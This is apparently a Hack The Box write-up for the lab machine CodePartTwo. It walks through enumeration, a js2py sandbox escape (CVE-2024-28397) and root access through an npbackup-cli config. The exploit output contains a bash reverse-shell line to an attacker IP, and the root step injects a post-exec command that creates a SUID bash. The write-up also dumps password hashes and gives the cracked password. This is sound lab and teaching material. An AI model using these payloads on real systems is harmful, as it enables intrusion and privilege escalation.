CodePartTwo
CodePartTwo
⚠️ Disclaimer
The content published in this write-up is intended strictly for educational and learning purposes.
No sensitive information is disclosed that would compromise the integrity of active machines or violate Hack The Box’s rules. All analysis is based on publicly allowed practices and personal learning experiences.
Readers are strongly encouraged to:
- Follow Hack The Box’s Code of Conduct
- Attempt the machines independently
- Use this content only to understand techniques, not to shortcut challenges
The author takes no responsibility for misuse of the information provided. Any testing or exploitation discussed should be performed only in legal, authorized environments. By engaging with this content, you agree to use it ethically and responsibly.
Introduction
CodePartTwo is an easy linux machine on Hack The Box, released on 16th August 2025, is created by the user FisMatHack. It focuses on exploiting a vulnerable web application to gain initial access, CVE-2024-28397 and then leveraging a misconfigured backup utility for privilege escalation.
Enumeration
As always what anyone would do is perform a scan to know the target, the best of all the tools out there I prefer to use is nmap. I performed a
nmap scan on the target machine to know the open ports and services running on it.
$ nmap -sCSV -v -T4 -p- <target-ip>
The scan result were as follow:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
| 256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
|_ 256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
8000/tcp open http Gunicorn 20.0.4
|_http-title: Welcome to CodePartTwo
|_http-server-header: gunicorn/20.0.4
| http-methods:
|_ Supported Methods: HEAD OPTIONS GET
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
From the scan it is clear that there are two services running on the target machine, SSH on port 22 and web server on port 8000.
I also ran a scan with gobuster to enumerate for any hidden files and directories on the web server.
$ gobuster dir -u http://<target-ip>:8000 -w <path-to-wordlist>
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/dashboard (Status: 302) [Size: 199] [--> /login]
/download (Status: 200) [Size: 10708]
/login (Status: 200) [Size: 667]
/logout (Status: 302) [Size: 189] [--> /]
/register (Status: 200) [Size: 651]
Progress: 4750 / 4750 (100.00%)
===============================================================
Finished
===============================================================
No hidden files or directories were found.
Web Enumeration
Gunicorn ‘Green Unicorn’ is a Python WSGI HTTP Server for UNIX. It’s a pre-fork worker model ported from Ruby’s Unicorn project. The Gunicorn server is broadly compatible with various web frameworks, simply implemented, light on server resource usage, and fairly speedy.
I opened the web server address http://<target-ip>:8000 in my browser to see if I can find some thing useful. The web page had three links
register, login and a download link which gives a download link to source code of web app in zip format. Also I registered to the application and logged in
the application lets user write JS code and save and execute it surely this will lead to some RCE vulnerability but first I got my hands dirty with
the source code of the web app.
unzip app.zip
cd app
Exploitation
It is a flask application the app.py`` provides loads of information the secret key S3cr3tK3yC0d3PartTw0and logic code. App uses MD5 hashing for storage which is not at all secure, next I sawjs2py` being used to execute the JS code which is a python library that can execute JS code from python.
In requirements.txt it’s version to be 0.74, on researching I found CVE-2024-28397 which allows RCE.
On attacker side we can do following steps to exploit and perform RCE to get shell access.
$ git clone https://github.com/naclapor/CVE-2024-28397.git
Cloning into 'CVE-2024-28397'...
remote: Enumerating objects: 10, done.
remote: Counting objects: 100% (10/10), done.
remote: Compressing objects: 100% (10/10), done.
remote: Total 10 (delta 1), reused 0 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (10/10), 7.08 KiB | 3.54 MiB/s, done.
Resolving deltas: 100% (1/1), done.
$ cd CVE-2024-28397/
$ python3 exploit.py --target http://10.129.20.126:8000/run_code --lhost 10.10.16.18 --lport 1234
============================================================
CVE-2024-28397 - js2py Sandbox Escape Exploit
Targets js2py <= 0.74
============================================================
[*] Generating exploit payload...
[+] Target URL: http://10.129.20.126:8000/run_code
[+] Reverse shell: (bash >& /dev/tcp/10.10.16.18/1234 0>&1) &
[+] Base64 encoded: KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTYuMTgvMTIzNCAwPiYxKSAm
[+] Listening address: 10.10.16.18:1234
[!] Start your listener: nc -lnvp 1234
[*] Press Enter when your listener is ready...
[*] Sending exploit payload...
[+] Payload sent successfully!
[+] Response: {"error":"'NoneType' object is not callable"}
[+] Check your netcat listener for the reverse shell!
On the attacker machine I started a netcat listener on port 1234 to get the reverse shell.
nc -lnvp 1234
I went to instance directory to find user info and found this:
select * from user;
1|marco|649c9d65a206a75f5abe509fe128bce5
2|app|a97588c0e2fa3a024876339e27aeb42e
One of them will surely be the user which can get ssh access. running id command I found the current user is uid=1001(app) gid=1001(app) groups=1001(app)
and after enumeration I found that app user does not have any useful permissions or files so I proceeded to crack the MD5 hash obtained for
marco using john the ripper.
$ john \
--format=Raw-MD5 \
--wordlist=/usr/share/wordlists/rockyou.txt \
--fork=12 \
hash.txt
Password cracked is sweetangelbabylove. SSH as marco and get the user flag.
Privilege Escalation
I gathered system information to find any privilege escalation
marco@codeparttwo:~$ whoami
marco
marco@codeparttwo:~$ sudo -l
Matching Defaults entries for marco on codeparttwo:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User marco may run the following commands on codeparttwo:
(ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli
marco@codeparttwo:~$ uname -a
Linux codeparttwo 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
npbackup-cli is a backup utility installed on the system which runs with sudo privileges without password. On searching for npbackup-cli exploit I found it has a command injection vulnerability. By exploiting this vulnerability we can get root shell.
Edit the backup configuration file and execute with the following commands:
conf_version: 3.0.1
audience: public
repos:
default:
repo_uri:
__NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8PDw8PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+E__NPBACKUP__
repo_group: default_group
backup_opts:
paths:
- /root
source_type: folder_list
exclude_files_larger_than: 0.0
repo_opts:
repo_password:
__NPBACKUP__v2zdDN21b0c7TSeUZlwezkPj3n8wlR9Cu1IJSMrSctoxNzQzOTEwMDcxLjM5NjcyNQ8PDw8PDw8PDw8PDw8PD0z8n8DrGuJ3ZVWJwhBl0GHtbaQ8lL3fB0M=__NPBACKUP__
retention_policy: {}
prune_max_unused: 0
prometheus: {}
env: {}
is_protected: false
groups:
default_group:
backup_opts:
paths: []
source_type:
stdin_from_command:
stdin_filename:
tags: []
compression: auto
use_fs_snapshot: true
ignore_cloud_files: true
one_file_system: false
priority: low
exclude_caches: true
excludes_case_ignore: false
exclude_files:
- excludes/generic_excluded_extensions
- excludes/generic_excludes
- excludes/windows_excludes
- excludes/linux_excludes
exclude_patterns: []
exclude_files_larger_than:
additional_parameters:
additional_backup_only_parameters:
minimum_backup_size_error: 10 MiB
pre_exec_commands: []
pre_exec_per_command_timeout: 3600
pre_exec_failure_is_fatal: false
post_exec_commands: [/bin/cp /bin/bash /tmp/rootbash; /bin/chmod +s /tmp/rootbash]
post_exec_per_command_timeout: 3600
post_exec_failure_is_fatal: false
post_exec_execute_even_on_backup_error: true
post_backup_housekeeping_percent_chance: 0
post_backup_housekeeping_interval: 0
repo_opts:
repo_password:
repo_password_command:
minimum_backup_age: 1440
upload_speed: 800 Mib
download_speed: 0 Mib
backend_connections: 0
retention_policy:
last: 3
hourly: 72
daily: 30
weekly: 4
monthly: 12
yearly: 3
tags: []
keep_within: true
group_by_host: true
group_by_tags: true
group_by_paths: false
ntp_server:
prune_max_unused: 0 B
prune_max_repack_size:
prometheus:
backup_job: ${MACHINE_ID}
group: ${MACHINE_GROUP}
env:
env_variables: {}
encrypted_env_variables: {}
is_protected: false
identity:
machine_id: ${HOSTNAME}__blw0
machine_group:
global_prometheus:
metrics: false
instance: ${MACHINE_ID}
destination:
http_username:
http_password:
additional_labels: {}
no_cert_verify: false
global_options:
auto_upgrade: false
auto_upgrade_percent_chance: 5
auto_upgrade_interval: 15
auto_upgrade_server_url:
auto_upgrade_server_username:
auto_upgrade_server_password:
auto_upgrade_host_identity: ${MACHINE_ID}
auto_upgrade_group: ${MACHINE_GROUP}
$ sudo /usr/local/bin/npbackup-cli -c /home/marco/npbackup.conf -b
$ cd /root
$ cat root.txt
What I did here is modified the backup configuration file to add a post execution command to copy bash shell to /tmp directory and set SUID permission on it. So now any user can execute this bash shell with root privileges.